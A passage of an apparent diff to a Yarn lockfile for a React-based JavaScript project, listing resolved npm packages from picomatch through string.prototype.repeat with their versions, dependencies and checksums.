10c0/e2e3e8170ab9d7c7421969adaa7e1b31434f789afb9b3f115f6b96d91945041ac3ceb02e9ec6fe6510ff036bcc0bf91e69a1772edc0b707e12b19c0f2d6bcf58 + languageName: node + linkType: hard + +"picomatch@npm:^4.0.3": + version: 4.0.3 + resolution: "picomatch@npm:4.0.3" + checksum: 10c0/9582c951e95eebee5434f59e426cddd228a7b97a0161a375aed4be244bd3fe8e3a31b846808ea14ef2c8a2527a6eeab7b3946a67d5979e81694654f939473ae2 + languageName: node + linkType: hard + +"pirates@npm:^4.0.1": + version: 4.0.7 + resolution: "pirates@npm:4.0.7" + checksum: 10c0/a51f108dd811beb779d58a76864bbd49e239fa40c7984cd11596c75a121a8cc789f1c8971d8bb15f0dbf9d48b76c05bb62fcbce840f89b688c0fa64b37e8478a + languageName: node + linkType: hard + +"possible-typed-array-names@npm:^1.0.0": + version: 1.1.0 + resolution: "possible-typed-array-names@npm:1.1.0" + checksum: 10c0/c810983414142071da1d644662ce4caebce890203eb2bc7bf119f37f3fe5796226e117e6cca146b521921fa6531072674174a3325066ac66fce089a53e1e5196 + languageName: node + linkType: hard + +"postcss@npm:^8.5.6": + version: 8.5.6 + resolution: "postcss@npm:8.5.6" + dependencies: + nanoid: "npm:^3.3.11" + picocolors: "npm:^1.1.1" + source-map-js: "npm:^1.2.1" + checksum: 10c0/5127cc7c91ed7a133a1b7318012d8bfa112da9ef092dddf369ae699a1f10ebbd89b1b9f25f3228795b84585c72aabd5ced5fc11f2ba467eedf7b081a66fad024 + languageName: node + linkType: hard + +"prelude-ls@npm:^1.2.1": + version: 1.2.1 + resolution: "prelude-ls@npm:1.2.1" + checksum: 10c0/b00d617431e7886c520a6f498a2e14c75ec58f6d93ba48c3b639cf241b54232d90daa05d83a9e9b9fef6baa63cb7e1e4602c2372fea5bc169668401eb127d0cd + languageName: node + linkType: hard + +"prettier-linter-helpers@npm:^1.0.1": + version: 1.0.1 + resolution: "prettier-linter-helpers@npm:1.0.1" + dependencies: + fast-diff: "npm:^1.1.2" + checksum: 10c0/91cea965681bc5f62c9d26bd3ca6358b81557261d4802e96ec1cf0acbd99d4b61632d53320cd2c3ec7d7f7805a81345644108a41ef46ddc9688e783a9ac792d1 + languageName: node + linkType: hard + +"prettier@npm:3.8.1": + version: 3.8.1 + resolution: "prettier@npm:3.8.1" + bin: + prettier: bin/prettier.cjs + checksum: 10c0/33169b594009e48f570471271be7eac7cdcf88a209eed39ac3b8d6d78984039bfa9132f82b7e6ba3b06711f3bfe0222a62a1bfb87c43f50c25a83df1b78a2c42 + languageName: node + linkType: hard + +"proc-log@npm:^6.0.0": + version: 6.1.0 + resolution: "proc-log@npm:6.1.0" + checksum: 10c0/4f178d4062733ead9d71a9b1ab24ebcecdfe2250916a5b1555f04fe2eda972a0ec76fbaa8df1ad9c02707add6749219d118a4fc46dc56bdfe4dde4b47d80bb82 + languageName: node + linkType: hard + +"promise-retry@npm:^2.0.1": + version: 2.0.1 + resolution: "promise-retry@npm:2.0.1" + dependencies: + err-code: "npm:^2.0.2" + retry: "npm:^0.12.0" + checksum: 10c0/9c7045a1a2928094b5b9b15336dcd2a7b1c052f674550df63cc3f36cd44028e5080448175b6f6ca32b642de81150f5e7b1a98b728f15cb069f2dd60ac2616b96 + languageName: node + linkType: hard + +"prop-types@npm:^15.6.2, prop-types@npm:^15.8.1": + version: 15.8.1 + resolution: "prop-types@npm:15.8.1" + dependencies: + loose-envify: "npm:^1.4.0" + object-assign: "npm:^4.1.1" + react-is: "npm:^16.13.1" + checksum: 10c0/59ece7ca2fb9838031d73a48d4becb9a7cc1ed10e610517c7d8f19a1e02fa47f7c27d557d8a5702bec3cfeccddc853579832b43f449e54635803f277b1c78077 + languageName: node + linkType: hard + +"property-expr@npm:^2.0.5": + version: 2.0.6 + resolution: "property-expr@npm:2.0.6" + checksum: 10c0/69b7da15038a1146d6447c69c445306f66a33c425271235bb20507f1846dbf9577a8f9dfafe8acbfcb66f924b270157f155248308f026a68758f35fc72265b3c + languageName: node + linkType: hard + +"punycode@npm:^2.1.0": + version: 2.3.1 + resolution: "punycode@npm:2.3.1" + checksum: 10c0/14f76a8206bc3464f794fb2e3d3cc665ae416c01893ad7a02b23766eb07159144ee612ad67af5e84fa4479ccfe67678c4feb126b0485651b302babf66f04f9e9 + languageName: node + linkType: hard + +"react-device-detect@npm:2.2.3": + version: 2.2.3 + resolution: "react-device-detect@npm:2.2.3" + dependencies: + ua-parser-js: "npm:^1.0.33" + peerDependencies: + react: ">= 0.14.0" + react-dom: ">= 0.14.0" + checksum: 10c0/396bbeeab0cb21da084c67434d204c9cf502fad6c683903313084d3f6487950a36a34f9bf67ccf5c1772a1bb5b79a2a4403fcfe6b51d93877db4c2d9f3a3a925 + languageName: node + linkType: hard + +"react-dom@npm:19.2.4": + version: 19.2.4 + resolution: "react-dom@npm:19.2.4" + dependencies: + scheduler: "npm:^0.27.0" + peerDependencies: + react: ^19.2.4 + checksum: 10c0/f0c63f1794dedb154136d4d0f59af00b41907f4859571c155940296808f4b94bf9c0c20633db75b5b2112ec13d8d7dd4f9bf57362ed48782f317b11d05a44f35 + languageName: node + linkType: hard + +"react-fast-compare@npm:^2.0.1": + version: 2.0.4 + resolution: "react-fast-compare@npm:2.0.4" + checksum: 10c0/f0300c677e95198b5f993cbb8a983dab09586157dc678f9e2b5b29ff941b6677a8776fbbdc425ce102fad86937e36bb45cfcfd797f006270b97ccf287ebfb885 + languageName: node + linkType: hard + +"react-is@npm:^16.13.1, react-is@npm:^16.7.0": + version: 16.13.1 + resolution: "react-is@npm:16.13.1" + checksum: 10c0/33977da7a5f1a287936a0c85639fec6ca74f4f15ef1e59a6bc20338fc73dc69555381e211f7a3529b8150a1f71e4225525b41b60b52965bda53ce7d47377ada1 + languageName: node + linkType: hard + +"react-is@npm:^18.2.0": + version: 18.3.1 + resolution: "react-is@npm:18.3.1" + checksum: 10c0/f2f1e60010c683479e74c63f96b09fb41603527cd131a9959e2aee1e5a8b0caf270b365e5ca77d4a6b18aae659b60a86150bb3979073528877029b35aecd2072 + languageName: node + linkType: hard + +"react-is@npm:^19.2.3": + version: 19.2.4 + resolution: "react-is@npm:19.2.4" + checksum: 10c0/477a7cfc900f24194606e315fa353856a3a13487ea8eca841678817cad4daef64339ea0d1e84e58459fc75dbe0d9ba00bb0cc626db3d07e0cf31edc64cb4fa37 + languageName: node + linkType: hard + +"react-is@npm:^19.2.4": + version: 19.2.5 + resolution: "react-is@npm:19.2.5" + checksum: 10c0/58c28ab2f7f868f9836c728fa164a16dcf20246ab84a3ae6a09e617b0e4d9bbb3acdddfdc40452f0134d27b121d3359227602a050c0be554cb20069cb52a67f4 + languageName: node + linkType: hard + +"react-number-format@npm:5.4.4": + version: 5.4.4 + resolution: "react-number-format@npm:5.4.4" + peerDependencies: + react: ^0.14 || ^15.0.0 || ^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 + react-dom: ^0.14 || ^15.0.0 || ^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 + checksum: 10c0/e55cd16d9f7379a717e77d519db06ed455cc2df9842cd23499b60bc2ba1179df580742e27867a4ae84e0d308b18c0773b7e8943f9162e853f97bd194d15b0de7 + languageName: node + linkType: hard + +"react-refresh@npm:^0.18.0": + version: 0.18.0 + resolution: "react-refresh@npm:0.18.0" + checksum: 10c0/34a262f7fd803433a534f50deb27a148112a81adcae440c7d1cbae7ef14d21ea8f2b3d783e858cb7698968183b77755a38b4d4b5b1d79b4f4689c2f6d358fff2 + languageName: node + linkType: hard + +"react-router-dom@npm:7.13.0": + version: 7.13.0 + resolution: "react-router-dom@npm:7.13.0" + dependencies: + react-router: "npm:7.13.0" + peerDependencies: + react: ">=18" + react-dom: ">=18" + checksum: 10c0/759bd5e7fe7b5baba50a0264724188707682d217cad8eac702a55e0b1abebf295be014dd3bfaff8e3c2def9dfaa23e6ded3f908feab84df766e9b82cc3774e98 + languageName: node + linkType: hard + +"react-router@npm:7.13.0": + version: 7.13.0 + resolution: "react-router@npm:7.13.0" + dependencies: + cookie: "npm:^1.0.1" + set-cookie-parser: "npm:^2.6.0" + peerDependencies: + react: ">=18" + react-dom: ">=18" + peerDependenciesMeta: + react-dom: + optional: true + checksum: 10c0/397cb009bc83d071269c8f9323bbfe1f856721fde75e39b29fe0ddfe7564ebdc3b8bbb85768321cae92ec28b406e8fac7eab7e232d0738b3b1c092e2764e4307 + languageName: node + linkType: hard + +"react-transition-group@npm:^4.4.5": + version: 4.4.5 + resolution: "react-transition-group@npm:4.4.5" + dependencies: + "@babel/runtime": "npm:^7.5.5" + dom-helpers: "npm:^5.0.1" + loose-envify: "npm:^1.4.0" + prop-types: "npm:^15.6.2" + peerDependencies: + react: ">=16.6.0" + react-dom: ">=16.6.0" + checksum: 10c0/2ba754ba748faefa15f87c96dfa700d5525054a0141de8c75763aae6734af0740e77e11261a1e8f4ffc08fd9ab78510122e05c21c2d79066c38bb6861a886c82 + languageName: node + linkType: hard + +"react@npm:19.2.4": + version: 19.2.4 + resolution: "react@npm:19.2.4" + checksum: 10c0/cd2c9ff67a720799cc3b38a516009986f7fc4cb8d3e15716c6211cf098d1357ee3e348ab05ad0600042bbb0fd888530ba92e329198c92eafa0994f5213396596 + languageName: node + linkType: hard + +"recrawl-sync@npm:^2.0.3": + version: 2.2.3 + resolution: "recrawl-sync@npm:2.2.3" + dependencies: + "@cush/relative": "npm:^1.0.0" + glob-regex: "npm:^0.3.0" + slash: "npm:^3.0.0" + sucrase: "npm:^3.20.3" + tslib: "npm:^1.9.3" + checksum: 10c0/3129ce44a97b2d8f2f18c4bc13d9faccd90dda7bff82c498d14c6e3720eb3249d8cb21576ca41c0a236cfe9b81e02a3e84b160256f359669450a8a628bd2df73 + languageName: node + linkType: hard + +"reflect.getprototypeof@npm:^1.0.6, reflect.getprototypeof@npm:^1.0.9": + version: 1.0.10 + resolution: "reflect.getprototypeof@npm:1.0.10" + dependencies: + call-bind: "npm:^1.0.8" + define-properties: "npm:^1.2.1" + es-abstract: "npm:^1.23.9" + es-errors: "npm:^1.3.0" + es-object-atoms: "npm:^1.0.0" + get-intrinsic: "npm:^1.2.7" + get-proto: "npm:^1.0.1" + which-builtin-type: "npm:^1.2.1" + checksum: 10c0/7facec28c8008876f8ab98e80b7b9cb4b1e9224353fd4756dda5f2a4ab0d30fa0a5074777c6df24e1e0af463a2697513b0a11e548d99cf52f21f7bc6ba48d3ac + languageName: node + linkType: hard + +"regexp.prototype.flags@npm:^1.5.3, regexp.prototype.flags@npm:^1.5.4": + version: 1.5.4 + resolution: "regexp.prototype.flags@npm:1.5.4" + dependencies: + call-bind: "npm:^1.0.8" + define-properties: "npm:^1.2.1" + es-errors: "npm:^1.3.0" + get-proto: "npm:^1.0.1" + gopd: "npm:^1.2.0" + set-function-name: "npm:^2.0.2" + checksum: 10c0/83b88e6115b4af1c537f8dabf5c3744032cb875d63bc05c288b1b8c0ef37cbe55353f95d8ca817e8843806e3e150b118bc624e4279b24b4776b4198232735a77 + languageName: node + linkType: hard + +"reselect@npm:^5.1.1": + version: 5.1.1 + resolution: "reselect@npm:5.1.1" + checksum: 10c0/219c30da122980f61853db3aebd173524a2accd4b3baec770e3d51941426c87648a125ca08d8c57daa6b8b086f2fdd2703cb035dd6231db98cdbe1176a71f489 + languageName: node + linkType: hard + +"resolve-from@npm:^4.0.0": + version: 4.0.0 + resolution: "resolve-from@npm:4.0.0" + checksum: 10c0/8408eec31a3112ef96e3746c37be7d64020cda07c03a920f5024e77290a218ea758b26ca9529fd7b1ad283947f34b2291c1c0f6aa0ed34acfdda9c6014c8d190 + languageName: node + linkType: hard + +"resolve@npm:^1.19.0": + version: 1.22.11 + resolution: "resolve@npm:1.22.11" + dependencies: + is-core-module: "npm:^2.16.1" + path-parse: "npm:^1.0.7" + supports-preserve-symlinks-flag: "npm:^1.0.0" + bin: + resolve: bin/resolve + checksum: 10c0/f657191507530f2cbecb5815b1ee99b20741ea6ee02a59c57028e9ec4c2c8d7681afcc35febbd554ac0ded459db6f2d8153382c53a2f266cee2575e512674409 + languageName: node + linkType: hard + +"resolve@npm:^2.0.0-next.5": + version: 2.0.0-next.6 + resolution: "resolve@npm:2.0.0-next.6" + dependencies: + es-errors: "npm:^1.3.0" + is-core-module: "npm:^2.16.1" + node-exports-info: "npm:^1.6.0" + object-keys: "npm:^1.1.1" + path-parse: "npm:^1.0.7" + supports-preserve-symlinks-flag: "npm:^1.0.0" + bin: + resolve: bin/resolve + checksum: 10c0/4e44cb84aa9a3c7c82d4a98e8111879671150496160a53ca6cdbed6101bf239f19105f8b8b84e40c0b76d46b0d9626813510b19a80e01f4ae18692e9d0b47749 + languageName: node + linkType: hard + +"resolve@patch:resolve@npm%3A^1.19.0#optional!builtin<compat/resolve>": + version: 1.22.11 + resolution: "resolve@patch:resolve@npm%3A1.22.11#optional!builtin<compat/resolve>::version=1.22.11&hash=c3c19d" + dependencies: + is-core-module: "npm:^2.16.1" + path-parse: "npm:^1.0.7" + supports-preserve-symlinks-flag: "npm:^1.0.0" + bin: + resolve: bin/resolve + checksum: 10c0/ee5b182f2e37cb1165465e58c6abc797fec0a80b5ba3231607beb4677db0c9291ac010c47cf092b6daa2b7f518d69a0e21888e7e2b633f68d501a874212a8c63 + languageName: node + linkType: hard + +"resolve@patch:resolve@npm%3A^2.0.0-next.5#optional!builtin<compat/resolve>": + version: 2.0.0-next.6 + resolution: "resolve@patch:resolve@npm%3A2.0.0-next.6#optional!builtin<compat/resolve>::version=2.0.0-next.6&hash=c3c19d" + dependencies: + es-errors: "npm:^1.3.0" + is-core-module: "npm:^2.16.1" + node-exports-info: "npm:^1.6.0" + object-keys: "npm:^1.1.1" + path-parse: "npm:^1.0.7" + supports-preserve-symlinks-flag: "npm:^1.0.0" + bin: + resolve: bin/resolve + checksum: 10c0/dca533e38820b0d8d636f269824cef3b7435802ab7401211c6f10af03be0e2f7e216047234e1623046c0a6791577079767e0c04f0d36e42c7f567b1bff7b0742 + languageName: node + linkType: hard + +"retry@npm:^0.12.0": + version: 0.12.0 + resolution: "retry@npm:0.12.0" + checksum: 10c0/59933e8501727ba13ad73ef4a04d5280b3717fd650408460c987392efe9d7be2040778ed8ebe933c5cbd63da3dcc37919c141ef8af0a54a6e4fca5a2af177bfe + languageName: node + linkType: hard + +"rollup@npm:^4.43.0": + version: 4.59.0 + resolution: "rollup@npm:4.59.0" + dependencies: + "@rollup/rollup-android-arm-eabi": "npm:4.59.0" + "@rollup/rollup-android-arm64": "npm:4.59.0" + "@rollup/rollup-darwin-arm64": "npm:4.59.0" + "@rollup/rollup-darwin-x64": "npm:4.59.0" + "@rollup/rollup-freebsd-arm64": "npm:4.59.0" + "@rollup/rollup-freebsd-x64": "npm:4.59.0" + "@rollup/rollup-linux-arm-gnueabihf": "npm:4.59.0" + "@rollup/rollup-linux-arm-musleabihf": "npm:4.59.0" + "@rollup/rollup-linux-arm64-gnu": "npm:4.59.0" + "@rollup/rollup-linux-arm64-musl": "npm:4.59.0" + "@rollup/rollup-linux-loong64-gnu": "npm:4.59.0" + "@rollup/rollup-linux-loong64-musl": "npm:4.59.0" + "@rollup/rollup-linux-ppc64-gnu": "npm:4.59.0" + "@rollup/rollup-linux-ppc64-musl": "npm:4.59.0" + "@rollup/rollup-linux-riscv64-gnu": "npm:4.59.0" + "@rollup/rollup-linux-riscv64-musl": "npm:4.59.0" + "@rollup/rollup-linux-s390x-gnu": "npm:4.59.0" + "@rollup/rollup-linux-x64-gnu": "npm:4.59.0" + "@rollup/rollup-linux-x64-musl": "npm:4.59.0" + "@rollup/rollup-openbsd-x64": "npm:4.59.0" + "@rollup/rollup-openharmony-arm64": "npm:4.59.0" + "@rollup/rollup-win32-arm64-msvc": "npm:4.59.0" + "@rollup/rollup-win32-ia32-msvc": "npm:4.59.0" + "@rollup/rollup-win32-x64-gnu": "npm:4.59.0" + "@rollup/rollup-win32-x64-msvc": "npm:4.59.0" + "@types/estree": "npm:1.0.8" + fsevents: "npm:~2.3.2" + dependenciesMeta: + "@rollup/rollup-android-arm-eabi": + optional: true + "@rollup/rollup-android-arm64": + optional: true + "@rollup/rollup-darwin-arm64": + optional: true + "@rollup/rollup-darwin-x64": + optional: true + "@rollup/rollup-freebsd-arm64": + optional: true + "@rollup/rollup-freebsd-x64": + optional: true + "@rollup/rollup-linux-arm-gnueabihf": + optional: true + "@rollup/rollup-linux-arm-musleabihf": + optional: true + "@rollup/rollup-linux-arm64-gnu": + optional: true + "@rollup/rollup-linux-arm64-musl": + optional: true + "@rollup/rollup-linux-loong64-gnu": + optional: true + "@rollup/rollup-linux-loong64-musl": + optional: true + "@rollup/rollup-linux-ppc64-gnu": + optional: true + "@rollup/rollup-linux-ppc64-musl": + optional: true + "@rollup/rollup-linux-riscv64-gnu": + optional: true + "@rollup/rollup-linux-riscv64-musl": + optional: true + "@rollup/rollup-linux-s390x-gnu": + optional: true + "@rollup/rollup-linux-x64-gnu": + optional: true + "@rollup/rollup-linux-x64-musl": + optional: true + "@rollup/rollup-openbsd-x64": + optional: true + "@rollup/rollup-openharmony-arm64": + optional: true + "@rollup/rollup-win32-arm64-msvc": + optional: true + "@rollup/rollup-win32-ia32-msvc": + optional: true + "@rollup/rollup-win32-x64-gnu": + optional: true + "@rollup/rollup-win32-x64-msvc": + optional: true + fsevents: + optional: true + bin: + rollup: dist/bin/rollup + checksum: 10c0/f38742da34cfee5e899302615fa157aa77cb6a2a1495e5e3ce4cc9c540d3262e235bbe60caa31562bbfe492b01fdb3e7a8c43c39d842d3293bcf843123b766fc + languageName: node + linkType: hard + +"safe-array-concat@npm:^1.1.3": + version: 1.1.3 + resolution: "safe-array-concat@npm:1.1.3" + dependencies: + call-bind: "npm:^1.0.8" + call-bound: "npm:^1.0.2" + get-intrinsic: "npm:^1.2.6" + has-symbols: "npm:^1.1.0" + isarray: "npm:^2.0.5" + checksum: 10c0/43c86ffdddc461fb17ff8a17c5324f392f4868f3c7dd2c6a5d9f5971713bc5fd755667212c80eab9567595f9a7509cc2f83e590ddaebd1bd19b780f9c79f9a8d + languageName: node + linkType: hard + +"safe-push-apply@npm:^1.0.0": + version: 1.0.0 + resolution: "safe-push-apply@npm:1.0.0" + dependencies: + es-errors: "npm:^1.3.0" + isarray: "npm:^2.0.5" + checksum: 10c0/831f1c9aae7436429e7862c7e46f847dfe490afac20d0ee61bae06108dbf5c745a0de3568ada30ccdd3eeb0864ca8331b2eef703abd69bfea0745b21fd320750 + languageName: node + linkType: hard + +"safe-regex-test@npm:^1.0.3, safe-regex-test@npm:^1.1.0": + version: 1.1.0 + resolution: "safe-regex-test@npm:1.1.0" + dependencies: + call-bound: "npm:^1.0.2" + es-errors: "npm:^1.3.0" + is-regex: "npm:^1.2.1" + checksum: 10c0/f2c25281bbe5d39cddbbce7f86fca5ea9b3ce3354ea6cd7c81c31b006a5a9fff4286acc5450a3b9122c56c33eba69c56b9131ad751457b2b4a585825e6a10665 + languageName: node + linkType: hard + +"safer-buffer@npm:>= 2.1.2 < 3.0.0": + version: 2.1.2 + resolution: "safer-buffer@npm:2.1.2" + checksum: 10c0/7e3c8b2e88a1841c9671094bbaeebd94448111dd90a81a1f606f3f67708a6ec57763b3b47f06da09fc6054193e0e6709e77325415dc8422b04497a8070fa02d4 + languageName: node + linkType: hard + +"scheduler@npm:^0.27.0": + version: 0.27.0 + resolution: "scheduler@npm:0.27.0" + checksum: 10c0/4f03048cb05a3c8fddc45813052251eca00688f413a3cee236d984a161da28db28ba71bd11e7a3dd02f7af84ab28d39fb311431d3b3772fed557945beb00c452 + languageName: node + linkType: hard + +"semver@npm:^6.3.1": + version: 6.3.1 + resolution: "semver@npm:6.3.1" + bin: + semver: bin/semver.js + checksum: 10c0/e3d79b609071caa78bcb6ce2ad81c7966a46a7431d9d58b8800cfa9cb6a63699b3899a0e4bcce36167a284578212d9ae6942b6929ba4aa5015c079a67751d42d + languageName: node + linkType: hard + +"semver@npm:^7.3.5": + version: 7.7.4 + resolution: "semver@npm:7.7.4" + bin: + semver: bin/semver.js + checksum: 10c0/5215ad0234e2845d4ea5bb9d836d42b03499546ddafb12075566899fc617f68794bb6f146076b6881d755de17d6c6cc73372555879ec7dce2c2feee947866ad2 + languageName: node + linkType: hard + +"set-cookie-parser@npm:^2.6.0": + version: 2.7.2 + resolution: "set-cookie-parser@npm:2.7.2" + checksum: 10c0/4381a9eb7ee951dfe393fe7aacf76b9a3b4e93a684d2162ab35594fa4053cc82a4d7d7582bf397718012c9adcf839b8cd8f57c6c42901ea9effe33c752da4a45 + languageName: node + linkType: hard + +"set-function-length@npm:^1.2.2": + version: 1.2.2 + resolution: "set-function-length@npm:1.2.2" + dependencies: + define-data-property: "npm:^1.1.4" + es-errors: "npm:^1.3.0" + function-bind: "npm:^1.1.2" + get-intrinsic: "npm:^1.2.4" + gopd: "npm:^1.0.1" + has-property-descriptors: "npm:^1.0.2" + checksum: 10c0/82850e62f412a258b71e123d4ed3873fa9377c216809551192bb6769329340176f109c2eeae8c22a8d386c76739855f78e8716515c818bcaef384b51110f0f3c + languageName: node + linkType: hard + +"set-function-name@npm:^2.0.2": + version: 2.0.2 + resolution: "set-function-name@npm:2.0.2" + dependencies: + define-data-property: "npm:^1.1.4" + es-errors: "npm:^1.3.0" + functions-have-names: "npm:^1.2.3" + has-property-descriptors: "npm:^1.0.2" + checksum: 10c0/fce59f90696c450a8523e754abb305e2b8c73586452619c2bad5f7bf38c7b6b4651895c9db895679c5bef9554339cf3ef1c329b66ece3eda7255785fbe299316 + languageName: node + linkType: hard + +"set-proto@npm:^1.0.0": + version: 1.0.0 + resolution: "set-proto@npm:1.0.0" + dependencies: + dunder-proto: "npm:^1.0.1" + es-errors: "npm:^1.3.0" + es-object-atoms: "npm:^1.0.0" + checksum: 10c0/ca5c3ccbba479d07c30460e367e66337cec825560b11e8ba9c5ebe13a2a0d6021ae34eddf94ff3dfe17a3104dc1f191519cb6c48378b503e5c3f36393938776a + languageName: node + linkType: hard + +"shebang-command@npm:^2.0.0": + version: 2.0.0 + resolution: "shebang-command@npm:2.0.0" + dependencies: + shebang-regex: "npm:^3.0.0" + checksum: 10c0/a41692e7d89a553ef21d324a5cceb5f686d1f3c040759c50aab69688634688c5c327f26f3ecf7001ebfd78c01f3c7c0a11a7c8bfd0a8bc9f6240d4f40b224e4e + languageName: node + linkType: hard + +"shebang-regex@npm:^3.0.0": + version: 3.0.0 + resolution: "shebang-regex@npm:3.0.0" + checksum: 10c0/1dbed0726dd0e1152a92696c76c7f06084eb32a90f0528d11acd764043aacf76994b2fb30aa1291a21bd019d6699164d048286309a278855ee7bec06cf6fb690 + languageName: node + linkType: hard + +"side-channel-list@npm:^1.0.0": + version: 1.0.0 + resolution: "side-channel-list@npm:1.0.0" + dependencies: + es-errors: "npm:^1.3.0" + object-inspect: "npm:^1.13.3" + checksum: 10c0/644f4ac893456c9490ff388bf78aea9d333d5e5bfc64cfb84be8f04bf31ddc111a8d4b83b85d7e7e8a7b845bc185a9ad02c052d20e086983cf59f0be517d9b3d + languageName: node + linkType: hard + +"side-channel-map@npm:^1.0.1": + version: 1.0.1 + resolution: "side-channel-map@npm:1.0.1" + dependencies: + call-bound: "npm:^1.0.2" + es-errors: "npm:^1.3.0" + get-intrinsic: "npm:^1.2.5" + object-inspect: "npm:^1.13.3" + checksum: 10c0/010584e6444dd8a20b85bc926d934424bd809e1a3af941cace229f7fdcb751aada0fb7164f60c2e22292b7fa3c0ff0bce237081fd4cdbc80de1dc68e95430672 + languageName: node + linkType: hard + +"side-channel-weakmap@npm:^1.0.2": + version: 1.0.2 + resolution: "side-channel-weakmap@npm:1.0.2" + dependencies: + call-bound: "npm:^1.0.2" + es-errors: "npm:^1.3.0" + get-intrinsic: "npm:^1.2.5" + object-inspect: "npm:^1.13.3" + side-channel-map: "npm:^1.0.1" + checksum: 10c0/71362709ac233e08807ccd980101c3e2d7efe849edc51455030327b059f6c4d292c237f94dc0685031dd11c07dd17a68afde235d6cf2102d949567f98ab58185 + languageName: node + linkType: hard + +"side-channel@npm:^1.1.0": + version: 1.1.0 + resolution: "side-channel@npm:1.1.0" + dependencies: + es-errors: "npm:^1.3.0" + object-inspect: "npm:^1.13.3" + side-channel-list: "npm:^1.0.0" + side-channel-map: "npm:^1.0.1" + side-channel-weakmap: "npm:^1.0.2" + checksum: 10c0/cb20dad41eb032e6c24c0982e1e5a24963a28aa6122b4f05b3f3d6bf8ae7fd5474ef382c8f54a6a3ab86e0cac4d41a23bd64ede3970e5bfb50326ba02a7996e6 + languageName: node + linkType: hard + +"simplebar-core@npm:^1.3.2": + version: 1.3.2 + resolution: "simplebar-core@npm:1.3.2" + dependencies: + lodash: "npm:^4.17.21" + lodash-es: "npm:^4.17.21" + checksum: 10c0/a4844edac50099b30abb60e85f0852ebbcbfbe47e4b67e682f57f21449b08d06a3ac2432db7db5a6bcf571c3ce74d2a418da22f467909587ab295a33b6b551e3 + languageName: node + linkType: hard + +"simplebar-react@npm:3.3.2": + version: 3.3.2 + resolution: "simplebar-react@npm:3.3.2" + dependencies: + simplebar-core: "npm:^1.3.2" + peerDependencies: + react: ">=16.8.0" + checksum: 10c0/1ccc2fbfef3659c6ebd6ee9eaa9cffa3c5179e5cf825351335928673ff5f715042f71e05fa3f5813ab1b6fe947536a52050667e149023975c2dcf4287d705292 + languageName: node + linkType: hard + +"slash@npm:^3.0.0": + version: 3.0.0 + resolution: "slash@npm:3.0.0" + checksum: 10c0/e18488c6a42bdfd4ac5be85b2ced3ccd0224773baae6ad42cfbb9ec74fc07f9fa8396bd35ee638084ead7a2a0818eb5e7151111544d4731ce843019dab4be47b + languageName: node + linkType: hard + +"smart-buffer@npm:^4.2.0": + version: 4.2.0 + resolution: "smart-buffer@npm:4.2.0" + checksum: 10c0/a16775323e1404dd43fabafe7460be13a471e021637bc7889468eb45ce6a6b207261f454e4e530a19500cc962c4cc5348583520843b363f4193cee5c00e1e539 + languageName: node + linkType: hard + +"socks-proxy-agent@npm:^8.0.3": + version: 8.0.5 + resolution: "socks-proxy-agent@npm:8.0.5" + dependencies: + agent-base: "npm:^7.1.2" + debug: "npm:^4.3.4" + socks: "npm:^2.8.3" + checksum: 10c0/5d2c6cecba6821389aabf18728325730504bf9bb1d9e342e7987a5d13badd7a98838cc9a55b8ed3cb866ad37cc23e1086f09c4d72d93105ce9dfe76330e9d2a6 + languageName: node + linkType: hard + +"socks@npm:^2.8.3": + version: 2.8.7 + resolution: "socks@npm:2.8.7" + dependencies: + ip-address: "npm:^10.0.1" + smart-buffer: "npm:^4.2.0" + checksum: 10c0/2805a43a1c4bcf9ebf6e018268d87b32b32b06fbbc1f9282573583acc155860dc361500f89c73bfbb157caa1b4ac78059eac0ef15d1811eb0ca75e0bdadbc9d2 + languageName: node + linkType: hard + +"source-map-js@npm:^1.2.1": + version: 1.2.1 + resolution: "source-map-js@npm:1.2.1" + checksum: 10c0/7bda1fc4c197e3c6ff17de1b8b2c20e60af81b63a52cb32ec5a5d67a20a7d42651e2cb34ebe93833c5a2a084377e17455854fee3e21e7925c64a51b6a52b0faf + languageName: node + linkType: hard + +"source-map@npm:^0.5.7": + version: 0.5.7 + resolution: "source-map@npm:0.5.7" + checksum: 10c0/904e767bb9c494929be013017380cbba013637da1b28e5943b566031e29df04fba57edf3f093e0914be094648b577372bd8ad247fa98cfba9c600794cd16b599 + languageName: node + linkType: hard + +"ssri@npm:^13.0.0": + version: 13.0.1 + resolution: "ssri@npm:13.0.1" + dependencies: + minipass: "npm:^7.0.3" + checksum: 10c0/cf6408a18676c57ff2ed06b8a20dc64bb3e748e5c7e095332e6aecaa2b8422b1e94a739a8453bf65156a8a47afe23757ba4ab52d3ea3b62322dc40875763e17a + languageName: node + linkType: hard + +"stop-iteration-iterator@npm:^1.1.0": + version: 1.1.0 + resolution: "stop-iteration-iterator@npm:1.1.0" + dependencies: + es-errors: "npm:^1.3.0" + internal-slot: "npm:^1.1.0" + checksum: 10c0/de4e45706bb4c0354a4b1122a2b8cc45a639e86206807ce0baf390ee9218d3ef181923fa4d2b67443367c491aa255c5fbaa64bb74648e3c5b48299928af86c09 + languageName: node + linkType: hard + +"string.prototype.includes@npm:^2.0.1": + version: 2.0.1 + resolution: "string.prototype.includes@npm:2.0.1" + dependencies: + call-bind: "npm:^1.0.7" + define-properties: "npm:^1.2.1" + es-abstract: "npm:^1.23.3" + checksum: 10c0/25ce9c9b49128352a2618fbe8758b46f945817a58a4420f4799419e40a8d28f116e176c7590d767d5327a61e75c8f32c86171063f48e389b9fdd325f1bd04ee5 + languageName: node + linkType: hard + +"string.prototype.matchall@npm:^4.0.12": + version: 4.0.12 + resolution: "string.prototype.matchall@npm:4.0.12" + dependencies: + call-bind: "npm:^1.0.8" + call-bound: "npm:^1.0.3" + define-properties: "npm:^1.2.1" + es-abstract: "npm:^1.23.6" + es-errors: "npm:^1.3.0" + es-object-atoms: "npm:^1.0.0" + get-intrinsic: "npm:^1.2.6" + gopd: "npm:^1.2.0" + has-symbols: "npm:^1.1.0" + internal-slot: "npm:^1.1.0" + regexp.prototype.flags: "npm:^1.5.3" + set-function-name: "npm:^2.0.2" + side-channel: "npm:^1.1.0" + checksum: 10c0/1a53328ada73f4a77f1fdf1c79414700cf718d0a8ef6672af5603e709d26a24f2181208144aed7e858b1bcc1a0d08567a570abfb45567db4ae47637ed2c2f85c + languageName: node + linkType: hard + +"string.prototype.repeat@npm:^1.0.0": + version: 1.0.0 + resolution: "string.prototype.repeat@npm:1.0.0" + dependencies: + define-properties: "npm:^1.1.3" + es-abstract: "npm:^1.17.5" + checksum: 